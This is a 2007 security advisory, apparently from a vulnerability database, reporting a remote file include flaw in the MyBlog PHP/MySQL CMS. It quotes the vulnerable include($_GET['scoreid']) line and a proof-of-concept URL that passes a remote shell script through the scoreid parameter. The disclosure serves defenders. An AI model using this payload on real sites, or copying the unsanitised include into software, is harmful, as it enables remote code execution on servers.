MyBlog: PHP and MySQL Blog/CMS software RFI Vulnerability

🗓️ 10 Apr 2007 00:00:00Reported by RootType

MyBlog PHP MySQL Blog/CMS software RFI Vulnerability. Remote file include vulnerability in MyBlog: PHP MySQL Blog/CMS software


                                                \"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
\"\"\"&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:::::&nbsp;&nbsp;&nbsp;::::&nbsp;&nbsp;\"\"\"
\"\"\"&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;:&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;&nbsp;\"\"\"
\"\"\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;::::&nbsp;&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;::&nbsp;:::::&nbsp;:::::&nbsp;&nbsp;&nbsp;::::&nbsp;&nbsp;\"\"\"
\"\"\"&nbsp;&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;:::&nbsp;:::&nbsp;::&nbsp;::&nbsp;::&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;&nbsp;::&nbsp;&nbsp;\"\"\"
\"\"\"&nbsp;&nbsp;::&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;::&nbsp;::&nbsp;:&nbsp;&nbsp;:&nbsp;:::::&nbsp;::&nbsp;&nbsp;&nbsp;::&nbsp;::::&nbsp;&nbsp;\"\"\"
\"\"\"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\"\"\"
\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"
&nbsp;&nbsp;Xmor$&nbsp;Security&nbsp;Vulnerability&nbsp;Research&nbsp;TM


#&nbsp;Tilte:&nbsp;MyBlog:&nbsp;PHP&nbsp;and&nbsp;MySQL&nbsp;Blog/CMS&nbsp;software&nbsp;Remote&nbsp;File&nbsp;Include&nbsp;Vulnerabilitiy


#&nbsp;Author..................:&nbsp;[the_Edit0r]
#&nbsp;Homepage&nbsp;...............:&nbsp;[Www.XmorS-sEurity.coM]
#&nbsp;Location&nbsp;...............:&nbsp;[Iran]
#&nbsp;Software&nbsp;...............:&nbsp;[MyBlog:&nbsp;PHP&nbsp;and&nbsp;MySQL&nbsp;Blog/CMS&nbsp;software]
#&nbsp;Impact..................:&nbsp;[&nbsp;Remote&nbsp;]
#&nbsp;Site&nbsp;Script&nbsp;............:&nbsp;[http://sourceforge.net/projects/myblog/]
#&nbsp;We&nbsp;ArE&nbsp;.................:&nbsp;[&nbsp;Scorpiunix,KAMY4r,Zer0.Cod3r,SilliCONIC,D3vil_B0y_ir,S.W.A.T,DarkAngel&nbsp;]




-------------------------------------&nbsp;Codes&nbsp;--------------------------------


include($_GET[\'scoreid\']&nbsp;.&nbsp;\"_setby.txt\");


-------------------------------&nbsp;proof&nbsp;Of&nbsp;Concept&nbsp;---------------------------



&nbsp;www.example.com/[path]/games.php?scoreid=[Sh3ll-Script]



----------------------------------------------------------------------------





#&nbsp;Contact&nbsp;me&nbsp;:&nbsp;the_3dit0r[at]Yahoo[dot]coM

#&nbsp;[XmorS-SEcurity.coM]

&nbsp;

10 Apr 2007 00:00Current

7.1High risk

Vulners AI Score7.1